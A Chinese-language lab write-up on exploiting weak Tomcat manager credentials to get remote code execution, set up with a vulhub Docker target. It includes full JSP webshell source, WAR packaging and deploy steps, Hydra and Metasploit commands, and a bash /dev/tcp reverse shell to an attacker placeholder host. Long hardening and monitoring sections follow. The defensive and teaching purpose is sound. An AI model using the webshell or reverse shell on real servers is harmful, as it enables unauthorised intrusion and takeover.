1. 项目概述与核心目标最近在整理一些安全测试的实战笔记翻到了之前在360众测靶场里做的一道关于Tomcat远程代码执行RCE的题目。这道题非常经典它模拟了一个因配置不当而导致的Tomcat管理后台弱口令漏洞并最终通过部署恶意WAR包实现远程代码执行。对于刚入门Web安全或想了解中间件漏洞原理的朋友来说这是一个绝佳的动手实验。今天我就把这个靶场环境复现一遍从环境搭建、漏洞发现、利用过程到原理分析完整地拆解一遍。整个过程不需要复杂的工具链用到的都是Kali Linux或任何渗透测试环境中常见的基础工具比如Nmap、Burp Suite或者直接浏览器操作。我们的核心目标很明确理解Tomcat管理后台的认证机制掌握通过弱口令或默认口令进入后台后如何利用“部署”功能上传一个包含后门的Web应用WAR包从而在目标服务器上执行任意命令。这不仅是一个漏洞利用的练习更是理解“配置即安全”这一理念的生动案例。很多线上事故的根源往往就始于一个被遗忘在公网、使用默认密码的管理入口。2. 靶场环境搭建与配置解析2.1 靶机环境准备为了原汁原味地复现漏洞我们需要一个存在弱口令的Tomcat环境。最直接的方法是使用Docker快速拉取一个预置了漏洞的镜像。这里我选择使用vulhub项目中的Tomcat弱口令镜像它完美模拟了题目中的场景。首先确保你的实验机器上安装了Docker和Docker Compose。然后我们创建一个专门的工作目录并编写docker-compose.yml文件version: 3 services: tomcat: image: vulhub/tomcat:8.5 ports: - 8080:8080 environment: TOMCAT_PASS: tomcat # 这里设置了默认的管理员密码这个配置非常简洁。它使用了一个预构建的镜像将容器的8080端口映射到宿主机的8080端口并设置了一个环境变量TOMCAT_PASS其值为tomcat。这正是漏洞的关键镜像内部已经将Tomcat管理后台/manager/html的账号密码设置为tomcat/tomcat。执行docker-compose up -d命令后一个带有漏洞的Tomcat服务就在本地的8080端口运行起来了。注意在实际的渗透测试或众测项目中你遇到的可能是任意版本的Tomcat密码也可能是其他弱口令如admin/admin、tomcat/tomcat、甚至空密码。这个镜像为我们提供了一个标准化的、可重复的测试环境。2.2 漏洞点与攻击面分析环境启动后我们首先对目标进行信息收集。访问http://your-ip:8080可以看到Tomcat的默认首页。但这并非我们的主要目标。Tomcat的管理功能通常通过几个特定的路径提供/manager/html用于管理Web应用的图形化界面本题的入口。/manager/status查看服务器状态。/host-manager/html管理虚拟主机。这些路径通常受到“BASIC”认证或表单认证的保护。本题的漏洞核心就在于认证绕过或弱口令。攻击者通过猜测、爆破或利用默认凭证成功登录管理后台从而获得了极高的权限。一旦进入后台“部署”功能允许用户上传一个WARWeb Application Archive文件Tomcat会自动将其解压并部署为一个新的Web应用。如果这个WAR文件中包含恶意的JSP脚本例如可以执行系统命令的脚本那么攻击者就能通过访问这个新部署的应用实现远程代码执行。所以整个攻击链可以清晰地归纳为发现开放的管理端口 - 爆破或使用默认口令进入后台 - 利用部署功能上传恶意WAR包 - 访问后门执行命令。理解这个链条对于防御和溯源都至关重要。3. 漏洞探测与利用过程全记录3.1 信息收集与服务识别在实战中我们通常从一个IP地址开始。第一步永远是信息收集。使用Nmap对目标进行端口扫描是最基本的手段。nmap -sV -p 1-65535 target_ip一个更针对性的快速扫描可以只检查常见Web端口nmap -sV -p 80,443,8080,8009 target_ip假设扫描结果显示目标target_ip的8080端口开放服务识别为Apache Tomcat/Coyote JSP engine。版本信息可能显示为Apache Tomcat 8.5.x。这一步确认了我们面对的是一个Tomcat服务并且管理接口很可能可用。3.2 管理后台发现与弱口令爆破接下来我们需要验证管理后台是否存在以及其认证情况。直接使用浏览器访问http://target_ip:8080/manager/html会弹出一个HTTP基础认证的对话框要求输入用户名和密码。这就是认证屏障。对于弱口令我们可以尝试一些常见的组合tomcat / tomcatadmin / adminboth / tomcatrole1 / role1root / root在本题的靶场环境中我们已知密码是tomcat/tomcat所以可以直接输入进入。但在未知情况下就需要使用工具进行爆破。这里可以使用Hydra进行HTTP基础认证的爆破hydra -L user.txt -P pass.txt target_ip http-get /manager/html其中user.txt和pass.txt是包含常见用户名和密码的字典文件。爆破成功后Hydra会输出可用的凭证。实操心得爆破管理后台时流量特征比较明显容易被WAF或IDS拦截。在实际测试中可以尝试降低线程数、增加延迟或者先尝试最常见的几组默认口令。很多时候运维人员的疏忽就在于没有修改出厂设置第一组tomcat/tomcat就能成功。成功登录后我们会进入Tomcat Web应用管理器的界面。这里可以看到当前已部署的应用列表以及最重要的功能按钮“部署”。3.3 恶意WAR包的制作这是利用环节的关键步骤。我们需要制作一个包含JSP后门的WAR包。JSP后门是一个可以接收参数并执行系统命令的JSP页面。首先创建一个简单的JSP文件命名为cmd.jsp内容如下% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个JSP脚本定义了一个cmd参数。当访问cmd.jsp?cmdwhoami时服务器会执行whoami命令并将结果返回页面。接下来将cmd.jsp打包成WAR文件。在Linux或Mac上可以使用jar命令JDK自带jar -cvf shell.war cmd.jsp在Windows上如果没有jar命令可以先将cmd.jsp放入一个空文件夹例如shell然后使用压缩软件如7-Zip将该文件夹压缩成ZIP格式最后将.zip后缀直接改为.war即可。核心在于WAR包的本质就是一个具有特定结构的ZIP文件其根目录下直接包含WEB-INF目录或Web资源文件如JSP。注意事项制作WAR包时确保JSP文件在包的根目录。你可以用解压软件检查生成的shell.war里面应该直接是cmd.jsp文件而不是在一个子文件夹里。如果路径不对部署后访问的URL会发生变化导致找不到后门。3.4 利用部署功能上传与执行回到Tomcat管理后台的“部署”区域。通常有两个部分“部署目录或WAR文件的位置”。我们使用“要部署的WAR文件”选项。点击“选择文件”按钮选中我们刚制作好的shell.war。点击“部署”按钮。如果上传成功页面会刷新并在应用列表里看到一个新部署的应用名字就是你的WAR包文件名不含后缀例如shell。现在漏洞利用已经完成。访问http://target_ip:8080/shell/cmd.jsp你应该能看到一个空白页面因为还没传cmd参数。在URL后面加上?cmdwhoami即访问http://target_ip:8080/shell/cmd.jsp?cmdwhoami页面上就会显示出执行whoami命令的结果通常是root或tomcat等这证明了远程代码执行成功。你可以尝试执行其他命令如cmdid查看当前用户权限cmdls -la /列出根目录cmdcat /etc/passwd查看系统用户等。4. 漏洞原理深度剖析与防御思考4.1 漏洞产生的根本原因这个漏洞链看似简单却暴露了运维和安全中的几个典型问题暴露管理接口到公网这是最根本的错误。Tomcat的管理接口/manager/host-manager设计初衷是给管理员在内网环境使用的。将其直接暴露在互联网上极大地扩大了攻击面。使用弱口令或默认口令即使接口不得不对外在某些特定架构下使用强度不足的密码等同于不设防。tomcat/tomcat是安装后众所周知的默认凭证必须在第一次启动后立即修改。部署功能权限过高管理后台的“部署”功能本质上赋予了上传者服务器文件写入和代码执行的权限。在旧版本或配置不当的Tomcat中甚至可能不需要重启服务就能生效实现了“一键getshell”。从技术层面看当恶意WAR包被上传后Tomcat会将其解压到webapps目录下例如webapps/shell/其中的JSP文件在首次被访问时会被Tomcat的Jasper编译器编译成Servlet并加载执行。由于执行进程就是Tomcat的服务进程通常以较高权限运行如root或专门的tomcat用户因此通过JSP执行的系统命令也就继承了这些权限。4.2 多层次防御方案理解了漏洞成因防御措施就清晰了。这需要开发、运维和安全团队共同协作网络层隔离最有效严格禁止将Tomcat管理端口默认8080, 8005等对公网开放。通过防火墙、安全组策略仅允许特定的管理IP或跳板机访问。在生产环境中Tomcat应部署在内网前端通过Nginx/Apache等反向代理对外提供服务代理服务器只转发业务路径如/不转发/manager/*和/host-manager/*。访问控制强化强制修改默认密码安装后第一件事就是修改conf/tomcat-users.xml文件中的用户密码。删除或注释掉默认的tomcat用户配置。使用强密码策略密码应足够复杂并定期更换。限制管理用户在tomcat-users.xml中只为必要的用户分配manager-gui、manager-script等角色遵循最小权限原则。启用HTTPS为管理接口配置SSL/TLS防止凭证在传输过程中被嗅探。应用层加固删除或重命名管理应用在生产服务器上可以考虑直接删除webapps目录下的manager和host-manager文件夹。如果需要使用可以将其重命名为不易猜测的名字。配置Context安全策略在manager/META-INF/context.xml中可以配置Valve标签来限制访问源IP。使用Tomcat自带的安全防护如配置RemoteAddrValve或RemoteHostValve来过滤请求。安全运维与监控定期漏洞扫描与配置审计使用工具定期检查中间件配置、版本和漏洞。部署文件完整性监控监控webapps目录的变更任何非预期的WAR包部署都应触发告警。日志审计仔细分析Tomcat的localhost_access_log和catalina.out日志关注对/manager/html的登录尝试特别是失败尝试以及对陌生上下文路径如/shell/*的访问。5. 拓展利用与高级技巧5.1 自动化利用工具在实战中为了提高效率我们可以使用一些自动化工具。最著名的当属Metasploit Framework中的tomcat_mgr_upload模块。msfconsole use exploit/multi/http/tomcat_mgr_upload set RHOSTS target_ip set RPORT 8080 set HttpUsername tomcat set HttpPassword tomcat set TARGETURI /manager exploit这个模块会自动完成检测、上传WAR包、部署和执行一系列动作最终返回一个Meterpreter会话。使用自动化工具的好处是快速但作为学习者理解其每一步背后的手动操作原理更为重要。5.2 权限维持与内网渗透成功获取一个Webshell即我们的cmd.jsp只是第一步。在真实的攻防演练或渗透测试中我们通常会以此为基础进行权限维持和横向移动。提权检查Tomcat进程的运行权限。如果是root那么你已经拥有最高权限。如果是低权限用户如tomcat则需要寻找本地提权漏洞。可以上传如LinPEAS、LinuxExploitSuggester等脚本进行信息收集和漏洞探测。反弹ShellWebshell的交互性通常较差。我们可以通过JSP页面执行命令反弹一个完整的Shell回攻击机。例如使用bash或nc反弹# 在攻击机监听 nc -lvnp 4444 # 在Webshell执行 bash -c bash -i /dev/tcp/attack_ip/4444 01需要将上述命令进行URL编码后通过cmd参数传递。内网探测拿到Shell后可以查看网络配置ifconfig、ip addr探测内网其他存活主机fping或nmap尝试进行横向移动。5.3 针对不同场景的利用变种除了弱口令Tomcat管理后台的漏洞利用还有其他一些场景后台路径爆破有些管理员会修改管理路径但可能改为其他常见名称。可以使用字典对/admin//manage//console/等路径进行爆破。PUT方法上传在Tomcat 7.x某些特定配置下默认配置的readonly为false可以直接通过HTTP PUT方法上传文件而不需要登录管理后台。这通常需要配合其他漏洞如路径遍历来将文件上传到可执行目录。利用工具如metasploit的tomcat_ghostcatCVE-2020-1938或手工测试。CVE-2017-12615远程代码执行这是与本题非常相关的一个CVE。当Tomcat运行在Windows主机上且启用了HTTP PUT方法时攻击者可以通过构造特殊的请求上传一个JSP文件。其利用方式与本题类似但绕过了后台登录。防御措施同样是禁用PUT方法或配置readonlytrue。6. 常见问题排查与修复验证实录在复现和利用过程中你可能会遇到一些问题。这里记录一些常见的情况和解决方法。6.1 漏洞利用阶段问题问题现象可能原因解决方案访问/manager/html返回4041. manager应用未部署。2. 路径被修改或删除。1. 检查webapps目录下是否存在manager文件夹。2. 尝试访问/manager无html或使用其他常见管理路径。登录失败即使密码正确1. 用户角色配置错误。2.tomcat-users.xml配置未生效。1. 检查用户是否被赋予了manager-gui角色。2. 重启Tomcat服务使配置生效。3. 清除浏览器缓存和Cookie重试。WAR包上传失败提示“FAIL - 应用程序上下文已存在”同名应用已部署。在管理后台先“取消部署”该应用或制作WAR包时使用不同的文件名。WAR包上传失败提示“FAIL - 缺少部署描述符”WAR包结构不正确缺少WEB-INF/web.xml文件。对于简单的JSP后门可以创建一个最小的web.xml放在WEB-INF/目录下再打包。或者更简单的方法是确保JSP文件直接在WAR包根目录很多版本的Tomcat对此要求不严格。访问后门cmd.jsp返回404或500错误1. 部署路径不正确。2. JSP语法错误或环境不支持。1. 确认应用列表中的上下文路径Context Path访问URL应为http://ip:port/上下文路径/cmd.jsp。2. 检查Tomcat日志catalina.out或localhost.log查看具体的编译或执行错误。执行命令无回显1. 命令执行环境问题。2. 输出流被重定向。1. 尝试使用绝对路径执行命令如/bin/bash -c whoami。2. 修改JSP代码将错误输出p.getErrorStream()也读取并打印出来便于调试。6.2 防御措施验证在实施防御措施后如何进行有效性验证至关重要。验证管理接口不可达从外网尝试访问http://your-server:8080/manager/html应连接超时或被明确拒绝如403、404。可以使用telnet your-server 8080然后手动构造HTTP请求来测试。验证强口令使用弱口令字典进行爆破测试应全部失败。可以设置账户锁定策略防止暴力破解。验证文件上传限制即使通过某种方式进入了后台模拟内网攻击者尝试上传一个测试WAR包检查是否受到文件类型、大小或内容安全检查的拦截。日志审计验证模拟一次攻击尝试如失败的登录然后检查Tomcat的访问日志和安全日志如果配置了确认攻击行为被清晰记录。6.3 从漏洞修复到安全左移修复一个已知漏洞是“治标”建立持续的安全能力才是“治本”。对于企业而言应该做到安全基线为Tomcat等中间件制定统一的安全配置基线并纳入自动化部署流程如Ansible, Puppet。镜像安全在构建Docker镜像时就移除不必要的管理应用和默认用户使用强密码并注入环境变量。持续监控将Webshell上传、异常文件部署、管理接口访问等行为纳入SIEM安全信息和事件管理系统进行实时监控和告警。定期演练通过内部红蓝对抗或渗透测试主动发现类似配置缺陷检验防御措施的有效性。手动复现一次这样的漏洞利用其收获远大于阅读十篇理论文章。它让你真切地感受到一个微小的配置疏忽弱口令如何被串联起来形成一条完整的攻击链最终导致服务器沦陷。对于开发者这提醒你在设计系统时要时刻考虑“最小权限”原则对于运维人员这强调了配置管理和网络隔离的重要性对于安全人员这则是一个经典的检测案例告诉你应该在日志和流量中关注哪些异常模式。安全是一个整体任何一个环节的短板都可能成为突破口。